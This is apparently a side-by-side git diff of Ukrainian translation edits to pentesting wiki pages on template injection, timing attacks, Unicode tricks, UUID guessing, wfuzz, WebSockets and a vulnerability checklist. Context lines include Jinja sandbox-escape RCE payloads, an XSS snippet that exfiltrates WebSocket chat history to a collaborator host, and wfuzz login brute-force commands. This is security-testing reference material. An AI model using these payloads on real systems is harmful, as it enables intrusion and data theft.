> Залежно від **версії EL** деякі **функції** можуть бути **Увімкнені** або **Вимкнені**, і зазвичай деякі **символи** можуть бути **заборонені**. > В залежності від **версії EL** деякі **функції** можуть бути **Увімкнені** або **Вимкнені**, і зазвичай деякі **символи** можуть бути **заборонені**.
## Basic Example ## Основний приклад
(Ви можете знайти ще один цікавий урок про EL за адресою [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)) (Ви можете знайти ще один цікавий урок про EL за посиланням [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
Завантажте з репозиторію [**Maven**](https://mvnrepository.com) jar-файли: Завантажте з репозиторію [**Maven**](https://mvnrepository.com) jar-файли:
@ -67,7 +67,7 @@ Enter a String to evaluate:
## **CVE Based Tutorial** ## **CVE Based Tutorial**
Перевірте це в **цьому пості:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) Перевірте це у **цьому пості:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads ## Payloads

View File

@ -21,9 +21,9 @@ app.run()
``` ```
## **Різне** ## **Різне**
### **Дебаг-інструкція** ### **Декларація налагодження**
Якщо розширення Debug увімкнено, тег `debug` буде доступний для виведення поточного контексту, а також доступних фільтрів і тестів. Це корисно для того, щоб побачити, що доступно для використання в шаблоні без налаштування дебагера. Якщо розширення налагодження увімкнено, тег `debug` буде доступний для виведення поточного контексту, а також доступних фільтрів і тестів. Це корисно для того, щоб побачити, що доступно для використання в шаблоні без налаштування налагоджувача.
```python ```python
<pre> <pre>
@ -60,12 +60,12 @@ app.run()
``` ```
## **Jinja Injection** ## **Jinja Injection**
По-перше, в Jinja-ін'єкції вам потрібно **знайти спосіб вийти з пісочниці** і відновити доступ до звичайного виконання python. Для цього вам потрібно **зловживати об'єктами**, які **знаходяться** в **непісочній середовищі, але доступні з пісочниці**. По-перше, в Jinja-ін'єкції вам потрібно **знайти спосіб вийти з пісочниці** та відновити доступ до звичайного виконання python. Для цього вам потрібно **зловживати об'єктами**, які **належать** до **непісочницького середовища, але доступні з пісочниці**.
### Доступ до глобальних об'єктів ### Доступ до глобальних об'єктів
Наприклад, у коді `render_template("hello.html", username=username, email=email)` об'єкти username та email **походять з непісочної python-середовища** і будуть **доступні** всередині **пісочної середовища.**\ Наприклад, у коді `render_template("hello.html", username=username, email=email)` об'єкти username та email **походять з непісочницького python-середовища** і будуть **доступні** всередині **пісочницького середовища.**\
Більше того, є інші об'єкти, які будуть **завжди доступні з пісочної середовища**, це: Більше того, є й інші об'єкти, які будуть **завжди доступні з пісочницького середовища**, це:
``` ```
[] []
'' ''
@ -159,7 +159,7 @@ dict.__mro__[-1]
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
``` ```
Щоб дізнатися про **більше класів**, які ви можете використовувати для **втечі**, ви можете **перевірити**: Щоб дізнатися про **більше класів**, які ви можете використовувати для **виходу**, ви можете **перевірити**:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -220,7 +220,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
#will be #will be
<script>alert(1);</script> <script>alert(1);</script>
``` ```
**RCE шляхом написання зловмисного конфігураційного файлу.** **RCE шляхом написання злого конфігураційного файлу.**
```python ```python
# evil config # evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

View File

@ -9,14 +9,14 @@
Основна мета тайминг-атаки полягає в тому, щоб мати можливість відповідати на складні питання або виявляти приховані функції, просто **перевіряючи різницю в часі у відповідях на подібні запити**. Основна мета тайминг-атаки полягає в тому, щоб мати можливість відповідати на складні питання або виявляти приховані функції, просто **перевіряючи різницю в часі у відповідях на подібні запити**.
Традиційно це було дуже складно через затримки та джиттер, які вводяться як мережею, так і сервером. Однак, з моменту відкриття та вдосконалення [**атаки Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), стало можливим використовувати цю техніку для усунення всіх затримок мережі з рівняння.\ Традиційно це було дуже складно через затримки та джиттер, які вводилися як мережею, так і сервером. Однак, з моменту відкриття та вдосконалення [**атаки Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), стало можливим використовувати цю техніку для усунення всіх затримок мережі з рівняння.\
Залишаючи лише **затримки сервера**, тайминг-атаки стають легшими для виявлення та зловживання. Залишаючи лише **затримки сервера**, тайминг-атаки стають легшими для виявлення та зловживання.
## Відкриття ## Відкриття
### Прихована атакувальна поверхня ### Прихована атакувальна поверхня
У блозі коментується, як за допомогою цієї техніки вдалося знайти приховані параметри та навіть заголовки, просто перевіряючи, що коли параметр або заголовок присутній у запиті, існує **різниця в часі приблизно 5 мс**. Насправді, ця техніка відкриття була додана до **Param Miner** у Burp Suite. У блозі коментується, як за допомогою цієї техніки вдалося знайти приховані параметри та навіть заголовки, просто перевіряючи, що коли параметр або заголовок були присутні в запиті, була **різниця в часі приблизно 5 мс**. Насправді, ця техніка відкриття була додана до **Param Miner** у Burp Suite.
Ці різниці в часі можуть бути викликані тим, що був виконаний **DNS-запит**, деякі **журнали були записані** через недійсний ввід або тому, що деякі **перевірки виконуються**, коли параметр присутній у запиті. Ці різниці в часі можуть бути викликані тим, що був виконаний **DNS-запит**, деякі **журнали були записані** через недійсний ввід або тому, що деякі **перевірки виконуються**, коли параметр присутній у запиті.
@ -26,7 +26,7 @@
У тому ж дослідженні було зазначено, що техніка таймінгу була чудовою для виявлення "обмежених SSRF" (які є SSRF, що можуть отримати доступ лише до дозволених IP/доменів). Просто **перевіряючи різницю в часі, коли встановлено дозволений домен** в порівнянні з тим, коли встановлено недозволений домен, допомагає виявити відкриті проксі, навіть якщо відповідь однакова. У тому ж дослідженні було зазначено, що техніка таймінгу була чудовою для виявлення "обмежених SSRF" (які є SSRF, що можуть отримати доступ лише до дозволених IP/доменів). Просто **перевіряючи різницю в часі, коли встановлено дозволений домен** в порівнянні з тим, коли встановлено недозволений домен, допомагає виявити відкриті проксі, навіть якщо відповідь однакова.
Після виявлення обмеженого відкритого проксі стало можливим знайти дійсні цілі, аналізуючи відомі піддомени цілі, і це дозволило: Як тільки відкритий проксі з обмеженнями виявлено, стало можливим знайти дійсні цілі, аналізуючи відомі піддомени цілі, і це дозволило:
- **Обійти брандмауери**, отримуючи доступ до обмежених піддоменів через **відкритий проксі** замість Інтернету - **Обійти брандмауери**, отримуючи доступ до обмежених піддоменів через **відкритий проксі** замість Інтернету
- Більше того, зловживаючи **відкритим проксі**, також можливо **виявити нові піддомени, доступні лише внутрішньо.** - Більше того, зловживаючи **відкритим проксі**, також можливо **виявити нові піддомени, доступні лише внутрішньо.**

View File

@ -4,7 +4,7 @@
## Introduction ## Introduction
В залежності від того, як бекенд/фронтенд реагує, коли він **отримує дивні юнікодні символи**, зловмисник може **обійти захист і ввести довільні символи**, які можуть бути використані для **зловживання вразливостями ін'єкції**, такими як XSS або SQLi. В залежності від того, як бекенд/фронтенд реагує, коли він **отримує дивні юнікодні символи**, зловмисник може **обійти захист і ввести довільні символи**, які можуть бути використані для **зловживання вразливостями ін'єкцій**, такими як XSS або SQLi.
## Unicode Normalization ## Unicode Normalization
@ -19,7 +19,7 @@ unicode-normalization.md
## `\u` to `%` ## `\u` to `%`
Символи юнікоду зазвичай представлені з **префіксом `\u`**. Наприклад, символ `㱋` є `\u3c4b`([перевірте тут](https://unicode-explorer.com/c/3c4B)). Якщо бекенд **перетворює** префікс **`\u` на `%`**, отриманий рядок буде `%3c4b`, що при декодуванні URL є: **`<4b`**. І, як ви можете бачити, **символ `<` ін'єкціюється**.\ Символи юнікоду зазвичай представлені з **префіксом `\u`**. Наприклад, символ `㱋` є `\u3c4b`([перевірте тут](https://unicode-explorer.com/c/3c4B)). Якщо бекенд **перетворює** префікс **`\u` на `%`**, отриманий рядок буде `%3c4b`, що при декодуванні URL є: **`<4b`**. І, як ви можете бачити, **символ `<` ін'єковано**.\
Ви можете використовувати цю техніку для **введення будь-якого символу**, якщо бекенд вразливий.\ Ви можете використовувати цю техніку для **введення будь-якого символу**, якщо бекенд вразливий.\
Перевірте [https://unicode-explorer.com/](https://unicode-explorer.com/), щоб знайти потрібні символи. Перевірте [https://unicode-explorer.com/](https://unicode-explorer.com/), щоб знайти потрібні символи.

View File

@ -89,9 +89,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### Fuzzing Regexes ### Fuzzing Regexes
Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий UR**L, але потім **доступатися до нього як є**. Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**.
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фуззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/). Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фуззингу бекенду. Для отримання додаткової інформації перевірте **github** і цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
## Посилання ## Посилання

View File

@ -6,15 +6,15 @@
Універсально унікальні ідентифікатори (UUID) — це **128-бітні числа, які використовуються для унікальної ідентифікації інформації** в комп'ютерних системах. UUID є необхідними в додатках, де потрібні унікальні ідентифікатори без центральної координації. Вони зазвичай використовуються як ключі бази даних і можуть посилатися на різні елементи, такі як документи та сесії. Універсально унікальні ідентифікатори (UUID) — це **128-бітні числа, які використовуються для унікальної ідентифікації інформації** в комп'ютерних системах. UUID є необхідними в додатках, де потрібні унікальні ідентифікатори без центральної координації. Вони зазвичай використовуються як ключі бази даних і можуть посилатися на різні елементи, такі як документи та сесії.
UUID розроблені так, щоб бути унікальними та **важкими для вгадування**. Вони структуровані у специфічному форматі, поділеному на п'ять груп, представлених як 32 шістнадцяткові цифри. Існують різні версії UUID, кожна з яких має свої цілі: UUID розроблені так, щоб бути унікальними та **важкими для вгадування**. Вони структуровані у специфічному форматі, поділеному на п'ять груп, представлених як 32 шістнадцяткові цифри. Існують різні версії UUID, кожна з яких має різні призначення:
- **UUID v1** базується на часі, включаючи мітку часу, послідовність годинника та ідентифікатор вузла (MAC-адресу), але може потенційно розкрити інформацію про систему. - **UUID v1** є часовим, включаючи мітку часу, послідовність годинника та ідентифікатор вузла (MAC-адресу), але може потенційно розкрити інформацію про систему.
- **UUID v2** подібний до v1, але включає модифікації для локальних доменів (не широко використовується). - **UUID v2** подібний до v1, але включає модифікації для локальних доменів (не широко використовується).
- **UUID v3 і v5** генерують UUID, використовуючи хеш-значення з простору імені та імені, при цьому v3 використовує MD5, а v5 — SHA-1. - **UUID v3 та v5** генерують UUID, використовуючи хеш-значення з простору імені та імені, при цьому v3 використовує MD5, а v5 — SHA-1.
- **UUID v4** генерується майже повністю випадковим чином, забезпечуючи високий рівень анонімності, але з невеликим ризиком дублікатів. - **UUID v4** генерується майже повністю випадковим чином, забезпечуючи високий рівень анонімності, але з невеликим ризиком дублікатів.
> [!TIP] > [!TIP]
> Зверніть увагу, що версія та підверсія UUID зазвичай з'являються в одному і тому ж місці всередині UUID. Наприклад:\ > Зверніть увагу, що версія та підверсія UUID зазвичай з'являються в одному й тому ж місці всередині UUID. Наприклад:\
> 12345678 - abcd - 1a56 - a539 - 103755193864\ > 12345678 - abcd - 1a56 - a539 - 103755193864\
> xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx > xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
> >
@ -42,7 +42,7 @@ UUID розроблені так, щоб бути унікальними та **
3. **Analysis**: 3. **Analysis**:
- Тепер у зловмисника є два UUID, згенеровані близько за часом (\`99874128\` та \`998796b4\`). З огляду на послідовний характер UUID на основі часу, UUID для облікового запису жертви, ймовірно, буде між цими двома значеннями. - Тепер зловмисник має два UUID, згенеровані близько за часом (\`99874128\` та \`998796b4\`). З огляду на послідовний характер UUID на основі часу, UUID для облікового запису жертви, ймовірно, буде між цими двома значеннями.
4. **Brute Force Attack:** 4. **Brute Force Attack:**

View File

@ -53,7 +53,7 @@ wfuzz -e encoders #Prints the available encoders
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line #Here we have filtered by line
``` ```
#### **POST, 2 списки, фільтр код (показати)** #### **POST, 2 списки, фільтр коду (показати)**
```bash ```bash
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code #Here we have filtered by code
@ -72,7 +72,7 @@ wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```bash ```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ' wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
``` ```
### Заголовкова Аутентифікація ### Заголовкова аутентифікація
#### **Базова, 2 списки, фільтр рядка (показати), проксі** #### **Базова, 2 списки, фільтр рядка (показати), проксі**
```bash ```bash
@ -98,7 +98,7 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100 http://example.com -t 100
``` ```
### HTTP Verbи (методи) брутфорс ### HTTP Верби (методи) брутфорс
#### **Використання файлу** #### **Використання файлу**
```bash ```bash

View File

@ -28,8 +28,8 @@
Якщо введені дані можуть бути якимось чином відображені у відповіді, сторінка може бути вразливою до кількох проблем. Якщо введені дані можуть бути якимось чином відображені у відповіді, сторінка може бути вразливою до кількох проблем.
- [ ] [**Введення шаблону на стороні клієнта**](client-side-template-injection-csti.md) - [ ] [**Включення шаблонів на стороні клієнта**](client-side-template-injection-csti.md)
- [ ] [**Введення команд**](command-injection.md) - [ ] [**Включення команд**](command-injection.md)
- [ ] [**CRLF**](crlf-0d-0a.md) - [ ] [**CRLF**](crlf-0d-0a.md)
- [ ] [**Залишковий розмітка**](dangling-markup-html-scriptless-injection/) - [ ] [**Залишковий розмітка**](dangling-markup-html-scriptless-injection/)
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/) - [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
@ -37,8 +37,8 @@
- [ ] [**Забруднення прототипу до XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) - [ ] [**Забруднення прототипу до XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md) - [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Підробка запитів на стороні сервера**](ssrf-server-side-request-forgery/) - [ ] [**Підробка запитів на стороні сервера**](ssrf-server-side-request-forgery/)
- [ ] [**Введення шаблону на стороні сервера**](ssti-server-side-template-injection/) - [ ] [**Включення шаблонів на стороні сервера**](ssti-server-side-template-injection/)
- [ ] [**Зворотне таб-навбінг**](reverse-tab-nabbing.md) - [ ] [**Зворотне табулювання**](reverse-tab-nabbing.md)
- [ ] [**Включення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [ ] [**Включення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](xss-cross-site-scripting/) - [ ] [**XSS**](xss-cross-site-scripting/)
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md) - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
@ -52,7 +52,7 @@ pocs-and-polygloths-cheatsheet/
### **Функції пошуку** ### **Функції пошуку**
Якщо функція може бути використана для пошуку якихось даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних. Якщо функціональність може бути використана для пошуку деяких даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/) - [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
- [ ] [**NoSQL Injection**](nosql-injection.md) - [ ] [**NoSQL Injection**](nosql-injection.md)
@ -74,7 +74,7 @@ pocs-and-polygloths-cheatsheet/
Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості. Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості.
- [ ] [**Clickjacking**](clickjacking.md) - [ ] [**Clickjacking**](clickjacking.md)
- [ ] [**Обхід політики безпеки вмісту**](content-security-policy-csp-bypass/) - [ ] [**Обхід політики безпеки контенту**](content-security-policy-csp-bypass/)
- [ ] [**Злом Cookies**](hacking-with-cookies/) - [ ] [**Злом Cookies**](hacking-with-cookies/)
- [ ] [**CORS - Неправильні налаштування та обхід**](cors-bypass.md) - [ ] [**CORS - Неправильні налаштування та обхід**](cors-bypass.md)
@ -93,11 +93,11 @@ pocs-and-polygloths-cheatsheet/
### **Структуровані об'єкти / Специфічні функції** ### **Структуровані об'єкти / Специфічні функції**
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (як серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\ Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (як Введення заголовків електронної пошти). Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, ін'єкції заголовків електронної пошти).
- [ ] [**Десеріалізація**](deserialization/) - [ ] [**Десеріалізація**](deserialization/)
- [ ] [**Введення заголовка електронної пошти**](email-injections.md) - [ ] [**Ін'єкція заголовків електронної пошти**](email-injections.md)
- [ ] [**Вразливості JWT**](hacking-jwt-json-web-tokens.md) - [ ] [**Вразливості JWT**](hacking-jwt-json-web-tokens.md)
- [ ] [**XML Зовнішня сутність**](xxe-xee-xml-external-entity.md) - [ ] [**XML Зовнішня сутність**](xxe-xee-xml-external-entity.md)
@ -108,8 +108,8 @@ pocs-and-polygloths-cheatsheet/
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані. Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
- [ ] [**Завантаження файлів**](file-upload/) - [ ] [**Завантаження файлів**](file-upload/)
- [ ] [**Введення формули**](formula-csv-doc-latex-ghostscript-injection.md) - [ ] [**Ін'єкція формул**](formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**Введення PDF**](xss-cross-site-scripting/pdf-injection.md) - [ ] [**Ін'єкція PDF**](xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS на стороні сервера**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) - [ ] [**XSS на стороні сервера**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Зовнішнє управління ідентичністю** ### **Зовнішнє управління ідентичністю**
@ -119,7 +119,7 @@ pocs-and-polygloths-cheatsheet/
### **Інші корисні вразливості** ### **Інші корисні вразливості**
Ці вразливості можуть допомогти в експлуатації інших вразливостей. Ці вразливості можуть допомогти експлуатувати інші вразливості.
- [ ] [**Захоплення домену/піддомену**](domain-subdomain-takeover.md) - [ ] [**Захоплення домену/піддомену**](domain-subdomain-takeover.md)
- [ ] [**IDOR**](idor.md) - [ ] [**IDOR**](idor.md)

View File

@ -22,7 +22,7 @@
> [!NOTE] > [!NOTE]
> Більшість веб-додатків **дозволяють користувачам вводити деякі дані, які будуть оброблені пізніше.**\ > Більшість веб-додатків **дозволяють користувачам вводити деякі дані, які будуть оброблені пізніше.**\
> Залежно від структури даних, які сервер очікує, деякі вразливості можуть або не можуть застосовуватися. > Залежно від структури даних, які очікує сервер, деякі вразливості можуть або не можуть застосовуватися.
### **Відображені значення** ### **Відображені значення**
@ -52,7 +52,7 @@
### **Функції пошуку** ### **Функції пошуку**
Якщо функціональність може бути використана для пошуку якихось даних у бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних. Якщо функція може бути використана для пошуку якихось даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
- [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/) - [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/)
- [ ] [**NoSQL Injection**](../nosql-injection.md) - [ ] [**NoSQL Injection**](../nosql-injection.md)
@ -74,7 +74,7 @@
Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості. Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості.
- [ ] [**Clickjacking**](../clickjacking.md) - [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Обхід політики безпеки контенту**](../content-security-policy-csp-bypass/) - [ ] [**Обхід політики безпеки вмісту**](../content-security-policy-csp-bypass/)
- [ ] [**Злом Cookies**](../hacking-with-cookies/) - [ ] [**Злом Cookies**](../hacking-with-cookies/)
- [ ] [**CORS - Неправильні налаштування та обхід**](../cors-bypass.md) - [ ] [**CORS - Неправильні налаштування та обхід**](../cors-bypass.md)
@ -93,8 +93,8 @@
### **Структуровані об'єкти / Специфічні функції** ### **Структуровані об'єкти / Специфічні функції**
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (як серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\ Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, об'єкт, серіалізований мовою або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (як ін'єкції заголовків електронної пошти). Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, ін'єкції заголовків електронної пошти).
- [ ] [**Десеріалізація**](../deserialization/) - [ ] [**Десеріалізація**](../deserialization/)
- [ ] [**Ін'єкція заголовків електронної пошти**](../email-injections.md) - [ ] [**Ін'єкція заголовків електронної пошти**](../email-injections.md)

View File

@ -4,7 +4,7 @@
## Що таке WebSockets ## Що таке WebSockets
З'єднання WebSocket встановлюються через початковий **HTTP** рукопашний handshake і призначені для **тривалого** використання, що дозволяє двостороннє обмін повідомленнями в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають **низької затримки або ініційованого сервером зв'язку**, таких як потоки фінансових даних в реальному часі. З'єднання WebSocket встановлюються через початковий **HTTP** рукопашний обмін і призначені для **тривалого** використання, що дозволяє двостороннє обмін повідомленнями в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають **низької затримки або ініційованого сервером зв'язку**, таких як потоки фінансових даних в реальному часі.
### Встановлення з'єднань WebSocket ### Встановлення з'єднань WebSocket
@ -71,8 +71,8 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
- Розширення **[**socketsleuth**](https://github.com/snyk/socketsleuth)** для Burp Suite дозволить вам краще керувати комунікаціями Websocket у Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.** - Розширення **[**socketsleuth**](https://github.com/snyk/socketsleuth)** для Burp Suite дозволить вам краще керувати комунікаціями Websocket у Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочено від "**WebSocket/Socket.io Proxy**", цей інструмент, написаний на Node.js, надає інтерфейс для **захоплення, перехоплення, надсилання користувацьких** повідомлень та перегляду всіх комунікацій WebSocket і Socket.IO між клієнтом і сервером. - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочено від "**WebSocket/Socket.io Proxy**", цей інструмент, написаний на Node.js, надає інтерфейс для **захоплення, перехоплення, надсилання користувацьких** повідомлень та перегляду всіх комунікацій WebSocket і Socket.IO між клієнтом і сервером.
- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним websocket REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними повідомленнями websocket і надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.&#x20; - [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним websocket REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними повідомленнями websocket і надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.&#x20;
- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими веб-сайтами за допомогою **websockets**. - [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими вебами за допомогою **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими веб-сайтами за допомогою **websockets.** - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими вебами за допомогою **websockets.**
## Лабораторія Websocket ## Лабораторія Websocket
@ -88,7 +88,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Зверніть увагу, що при **встановленні** з'єднання **websocket** **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **сесією websocket на основі надісланого cookie**. Зверніть увагу, що при **встановленні** з'єднання **websocket** **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **сесією websocket на основі надісланого cookie**.
Тоді, якщо, наприклад, **сервер websocket** **повертає історію розмови** користувача, якщо надсилається повідомлення з "**READY"**, тоді **простий XSS**, що встановлює з'єднання ( **cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**. Тоді, якщо, наприклад, **websocket** **сервер** **повертає історію розмови** користувача, якщо надсилається повідомлення з "**READY"**, тоді **простий XSS**, що встановлює з'єднання (**cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
```markup ```markup
<script> <script>
websocket = new WebSocket('wss://your-websocket-URL') websocket = new WebSocket('wss://your-websocket-URL')
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
``` ```
### Cross Origin + Cookie with a different subdomain ### Cross Origin + Cookie with a different subdomain
У цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript у піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **кукі** надсилалися, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим зв'язуватися з ним і **викрасти токени**. У цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript у піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **кукі** надсилалися, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим зв'язуватися з ним і **викрадати токени**.
### Stealing data from user ### Stealing data from user

View File

@ -22,17 +22,17 @@
Приклади виразів шляху та їх результати включають: Приклади виразів шляху та їх результати включають:
